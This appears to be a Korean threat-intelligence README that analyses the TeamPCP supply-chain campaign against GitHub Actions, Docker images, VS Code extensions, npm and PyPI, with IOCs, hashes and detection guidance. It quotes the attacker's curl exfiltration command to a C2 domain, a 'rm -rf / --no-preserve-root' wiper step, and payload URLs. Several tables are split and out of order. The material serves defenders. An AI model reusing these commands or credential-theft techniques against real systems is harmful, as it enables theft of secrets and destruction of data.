
CVE-2026-33634 (CVSS 9.4) — 2026년 현재까지 가장 파급력이 큰 CI/CD 공급망 공격.
CVE-2026-33634 (CVSS 9.4) — 2026년 현재까지 가장 영향력이 큰 CI/CD 공급망 공격.
2026년 3월 19일부터 25일 사이, 위협 행위자 TeamPCP(DeadCatx3, PCPcat, ShellForce, CanisterWorm으로도 추적됨)는 GitHub Actions, Docker Hub, OpenVSX, npm, PyPI 등 5개 생태계에 걸친 연쇄적 공급망 손상을 실행했습니다. 불완전하게 순환된 단일 GitHub PAT에서 시작된 이 캠페인은 두 개의 주요 오픈소스 보안 벤더(Aqua Security 및 Checkmarx), 4개의 GitHub Actions 저장소, 2개의 VS Code 확장 프로그램, 컨테이너 레지스트리, 66개 이상의 npm 패키지로 확산되었습니다.
이 저장소는 전체 기술 분석, 선별된 IOC 목록(FP 테스트 완료), Microsoft Defender XDR에 바로 배포할 수 있는 탐지 쿼리를 제공합니다.
| 날짜(UTC) | 이벤트 |
|---|---|
| 2026년 2월 20일 | hackerbot-claw 계정 생성; 악용 가능한 pull_request_target 워크플로를 찾기 위해 저장소 스캔 시작 |
| 2026년 2월 28일 | PWN 요청을 통한 첫 Trivy 손상; 자격 증명 유출 |
| 2026년 3월 1일 | Aqua Security 봉쇄 시도 — 자격 증명 순환 불완전 |
| 3월 19일 17:43 | 주 공격: TeamPCP가 손상된 aqua-bot 서비스 계정을 통해 aquasecurity/trivy-action의 76개 태그 중 75개와 setup-trivy의 7개 전체 태그를 강제 푸시 |
| 3월 19일 18:22 | 백도어가 삽입된 Trivy v0.69.4가 GitHub Releases, Docker Hub, GHCR, ECR에 게시됨 |
| 3월 20일 05:40 | Trivy-action 손상 창 종료(약 12시간) |
| 3월 20일 20:45 | CanisterWorm이 npm 전역으로 확산 중임이 감지됨 — 47개 이상 패키지 손상 |
| 3월 22일 20:31 | TeamPCP가 스크립트 기반 2분 일제 공격으로 aquasec-com GitHub 조직의 44개 전체 저장소를 변조 |
| 3월 22일 | 동일한 스틸러 페이로드가 포함된 Docker Hub 이미지 0.69.5 및 0.69.6 푸시 |
| 3월 23일 02:53 | Checkmarx 웨이브 시작: ast-phoenix 계정을 통해 악성 ast-results v2.53.0 및 cx-dev-assist v1.7.0이 OpenVSX에 게시됨 |
| 3월 23일 12:58 | 손상된 cx-plugins-releases 계정을 통해 Checkmarx/kics-github-action의 35개 전체 태그 강제 푸시 |
| 3월 23일 15:41 | Checkmarx가 OpenVSX 문제 해결 보고 |
| 3월 23일 16:50 | 사용자 신고 후 KICS GitHub Action 내려감 |
| 3월 23일 22:25 | Sysdig가 Checkmarx/ast-github-action v2.3.28도 손상되었음을 보고 |
| 3월 24일 08:30 | LiteLLM 웨이브: 도난된 자격 증명을 사용하여 트로이 목마화된 litellm v1.82.7 및 v1.82.8이 PyPI에 게시됨 |
| 3월 24일 11:25 | PyPI가 악성 LiteLLM 버전 격리 |
근본 원인: 2월 28일 침해 이후의 불완전한 자격 증명 순환. aqua-bot 서비스 계정 PAT가 폐기되지 않았거나, 공격자가 순환 과정에서 새 토큰을 관찰했습니다.
TeamPCP는 이 유지된 접근 권한을 사용하여 악성 사칭 커밋에 버전 태그를 강제 푸시했습니다. 각 위조 커밋은 원본의 메타데이터(작성자, 타임스탬프, 메시지)를 복제하면서 진입점 스크립트를 스틸러 페이로드로 교체했습니다. GitHub 릴리스 페이지에는 눈에 띄는 변화가 없었습니다 — "Immutable" 배지조차 정상적으로 표시되었습니다.
스틸러(204줄짜리 entrypoint.sh로, 스스로를 "TeamPCP Cloud stealer"라고 식별)는 3개 스테이지로 구성된 공격을 실행합니다:
스테이지 1: 메모리 스크래핑
Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory
스테이지 2: 파일시스템 자격 증명 스윕
50개 이상의 민감한 경로를 스캔합니다:
~/.ssh/*)~/.npmrc).env 파일스테이지 3: 암호화된 유출
tpcp.tar.gz로 번들링curl POST를 통해 유출GITHUB_TOKEN을 사용하여 피해자의 GitHub 계정에 tpcp-docs 또는 docs-tpcp 저장소 생성비 CI Linux 시스템에서 악성코드는:
~/.config/sysmon/ 생성sysmon.py) 드롭Trivy 웨이브에서 도난된 자격 증명으로 Checkmarx 생태계의 손상이 가능해졌습니다. 각각의 새로운 웨이브는 이전 웨이브의 차단 목록을 회피하기 위해 서로 다른 타입스쿼트 C2 도메인을 사용했습니다:
| 웨이브 | C2 도메인 | 타입스쿼트 대상 |
|---|---|---|
| Trivy | scan.aquasecurtiy[.]org | aquasecurity.org |
| 확장 프로그램 | 악성 버전 | 안전 버전 |
|---|---|---|
checkmarx.ast-results | 2.53.0 | >= 2.56.0 |
checkmarx.cx-dev-assist | 1.7.0 | >= 1.10.0 |
두 확장 프로그램 모두 3월 23일 12:53 UTC에 ast-phoenix 계정을 통해 12초 간격으로 게시되었습니다. 활성화 시 environmentAuthChecker.js가 클라우드 공급자 자격 증명을 확인한 다음 checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz에서 2차 스테이지 스틸러를 가져옵니다.
| 이미지 | 악성 태그 |
|---|---|
docker.io/aquasec/trivy | 0.69.4, 0.69.5, 0.69.6 |
ghcr.io/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
public.ecr.aws/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
| 패키지 | 버전 | 백도어 삽입 파일 |
|---|---|---|
litellm | 1.82.7, 1.82.8 | litellm/proxy/proxy_server.py |
K8s 수평 이동 툴킷이 포함된 3중 중첩 base64 페이로드. checkmarx.zone/raw를 폴링하는 sysmon.service를 통한 지속성.
유출 패턴은 모든 웨이브에서 동일합니다:
curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
-H "Content-Type: application/octet-stream" \
-H "X-Filename: tpcp.tar.gz" \
--data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz
타입스쿼트 도메인 전략은 의도적입니다: CI/CD 로그를 검토하는 분석가는 해당 액션의 자체 벤더 도메인처럼 보이는 곳으로 향하는 curl 트래픽을 보게 됩니다. 신중한 비교 없이는 빠른 로그 검토에서 scan.aquasecurtiy.org가 aquasecurity.org로 통과됩니다.
도난된 데이터를 복호화할 수 있는 것은 공격자뿐입니다 — AES 세션 키는 공격자의 공개 키로 RSA-OAEP 암호화됩니다.
Trivy 손상 후 24시간 이내에, 도난된 npm 토큰으로 66개 이상의 패키지(141개의 악성 아티팩트)에 걸친 자가 전파 웜이 가능해졌습니다.
CanisterWorm이 주목할 만한 이유:
tdtqy-oyaaa-aaaae-af2dq-cai의 캐니스터는 분산형 스마트 계약 — 단일 제거 지점 없음get_latest_link, http_request, update_linkyoutube.com을 포함하는 URL을 반환하면 백도어가 휴면 상태가 됨pgmon(PostgreSQL 모니터링)으로 위장하는 systemd 사용자 서비스/tmp/pglog에 드롭, 상태는 /tmp/.pg_state에 추적알려진 손상 범위: @emilgroup/*, @teale.io/*(@teale.io/eslint-config v1.8.11, v1.8.12의 자가 전파 변종)
파괴적 변종은 이란 시스템을 구체적으로 표적합니다:
kamikaze라는 컨테이너를 통해 데이터 삭제 및 강제 재부팅 수행rm -rf / --no-preserve-root 실행탐지는 시스템 시간대 및 로케일 확인을 통해 이루어집니다.
규칙 이름: TeamPCP Supply Chain C2 and Malware IOC Match
심각도: 높음
범주: CommandAndControl
빈도: 매 1시간
전체 KQL 쿼리는 detection/defender_xdr_query.kql을 참조하세요.
쿼리는 다음 항목을 포함합니다:
바로 가져올 수 있는 CSV가 iocs/FINAL_TeamPCP_IOC_25Mar2026.csv에 제공됩니다. 이 파일은 프로덕션 엔터프라이즈 환경에서 FP 테스트를 거쳤습니다.
| 플랫폼 | 탐지 |
|---|---|
| Palo Alto Cortex XDR | 규칙 ioc.linux.shaihulud.2 — GitHub Action 러너에서의 자격 증명 접근 |
| Sysdig/Falco | Contact EC2 Instance Metadata Service From Container, Curl Exfiltrating File, |
| URL | 기능 |
|---|---|
checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz | 2차 스테이지 페이로드 다운로드 |
checkmarx[.]zone/vsx | 유출 엔드포인트 |
| 이름 | 웨이브 |
|---|---|
tpcp-docs | Trivy |
docs-tpcp | Checkmarx |
이 저장소의 탐지 쿼리와 IOC CSV는 다음을 실행하는 프로덕션 환경에서 테스트되었습니다:
다음 IOC는 확인된 오탐(false positive)으로 인해 제거되었습니다:
MIT — 자유롭게 사용, 공유, 수정 가능. 출처 표기를 부탁드립니다.
저자: Ugur Can Ates — SOC 팀 리드 겸 시니어 보안 엔지니어
최종 업데이트: 2026년 3월 25일
| Checkmarx/KICS | checkmarx[.]zone | checkmarx.com |
| LiteLLM | models.litellm[.]cloud | litellm.ai |
| 저장소 | 손상된 태그 | 노출 창(UTC) | 진입점 |
|---|
aquasecurity/trivy-action | 76개 중 75개(안전: 0.35.0) | 3월 19일 17:43 – 3월 20일 05:40 | entrypoint.sh |
aquasecurity/setup-trivy | 7개 전 태그 | 3월 19일 17:43 – 21:44 | action.yaml |
Checkmarx/kics-github-action | 35개 전 태그 | 3월 23일 12:58 – 16:50 | setup.sh |
Checkmarx/ast-github-action | v2.3.28(전체로 추정) | 3월 23일 ~22:25+ | setup.sh |
Exfiltration of AWS IMDS Credentials Using LOTL Binary| 해시 | 설명 | 출처 |
|---|
18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671a | Trivy 악성 entrypoint.sh | Phoenix Security |
c37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926 | CanisterWorm 4차 웨이브 — 최종 형태 | Aikido Security |
0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3a | CanisterWorm 3차 웨이브 — 자가 전파 테스트 | Aikido Security |
61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4ba | CanisterWorm 2차 웨이브 — 무장된 ICP 백도어 | Aikido Security |
f398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152 | CanisterWorm 1차 웨이브 — deploy.js | Aikido Security |
7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7 | CanisterWorm 2차 웨이브 — deploy.js | Aikido Security |
5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956 | CanisterWorm 3차+ 웨이브 — 축소된 deploy.js | Aikido Security |
| 지표 | 유형 | 용도 |
|---|
83.142.209.11 | IP | C2 서버(checkmarx.zone) |
45.148.10.212 | IP | C2 서버(scan.aquasecurtiy.org) |
checkmarx[.]zone | 도메인 | C2 — Checkmarx/KICS/LiteLLM 웨이브 |
scan.aquasecurtiy[.]org | 도메인 | C2 — Trivy 웨이브 |
models.litellm[.]cloud | 도메인 | C2 — LiteLLM PyPI 웨이브 |
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io | 도메인 | ICP 캐니스터 데드드롭 C2 |
checkmarx[.]zone/raw | 지속성 폴링(50분) |
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io/ | ICP 캐니스터 C2 |
| 경로 | 용도 |
|---|
~/.config/sysmon/ | 백도어 디렉터리 |
~/.config/sysmon.py | Python 백도어 |
~/.config/systemd/user/sysmon.service | Systemd 지속성 |
~/.config/systemd/user/pgmon.service | CanisterWorm 지속성(PostgreSQL 위장) |
/tmp/pglog | 다운로드된 바이너리 |
/tmp/.pg_state | C2 폴링 상태 |
| IOC | FP 출처 |
|---|
setup.sh(파일 이름) | Ansible 컬렉션, Claude Code 플러그인 캐시, Bitnami 스크립트 |
service.py(파일 이름) | Ansible module_utils, protobuf, boto3, FreeIPA, K8s core |
deploy.js(파일 이름) | 표준 npm/node 파일 |
169.254.169.254(IMDS IP) | FortiMonitor 에이전트, Oracle AHF — 합법적인 모니터링 |
icp0.io(상위 도메인) | 너무 광범위하여 합법적인 ICP 트래픽이 걸림 |
hooks.slack.com(명령줄) | 합법적인 Slack 통합 |
discord.com/api/webhooks(명령줄) | 합법적인 Discord 통합 |
| 기법 | ID | 컨텍스트 |
|---|
| 공급망 손상: 소프트웨어 종속성 | T1195.002 | GitHub Actions 태그 포이즈닝, OpenVSX, npm, PyPI |
| 보호되지 않은 자격 증명: 클라우드 인스턴스 메타데이터 API | T1552.005 | CI 러너로부터의 AWS IMDS 탈취 |
| 비밀번호 저장소에서 자격 증명 획득 | T1555 | 파일시스템 자격 증명 스윕(50개 이상 경로) |
| OS 자격 증명 덤핑 | T1003 | Runner.Worker /proc/mem 스크래핑 |
| C2 채널을 통한 유출 | T1041 | 타입스쿼트 도메인으로 암호화된 tpcp.tar.gz |
| 웹 서비스 | T1102 | ICP 캐니스터 데드드롭 C2 |
| Systemd 서비스 | T1543.002 | pgmon.service, sysmon.service 지속성 |
| 수신 도구 전송 | T1105 | checkmarx-util-1.0.4.tgz 다운로드 |
| 인프라 획득: 도메인 | T1583.001 | 웨이브별 타입스쿼트 도메인 |
| 출처 | 링크 |
|---|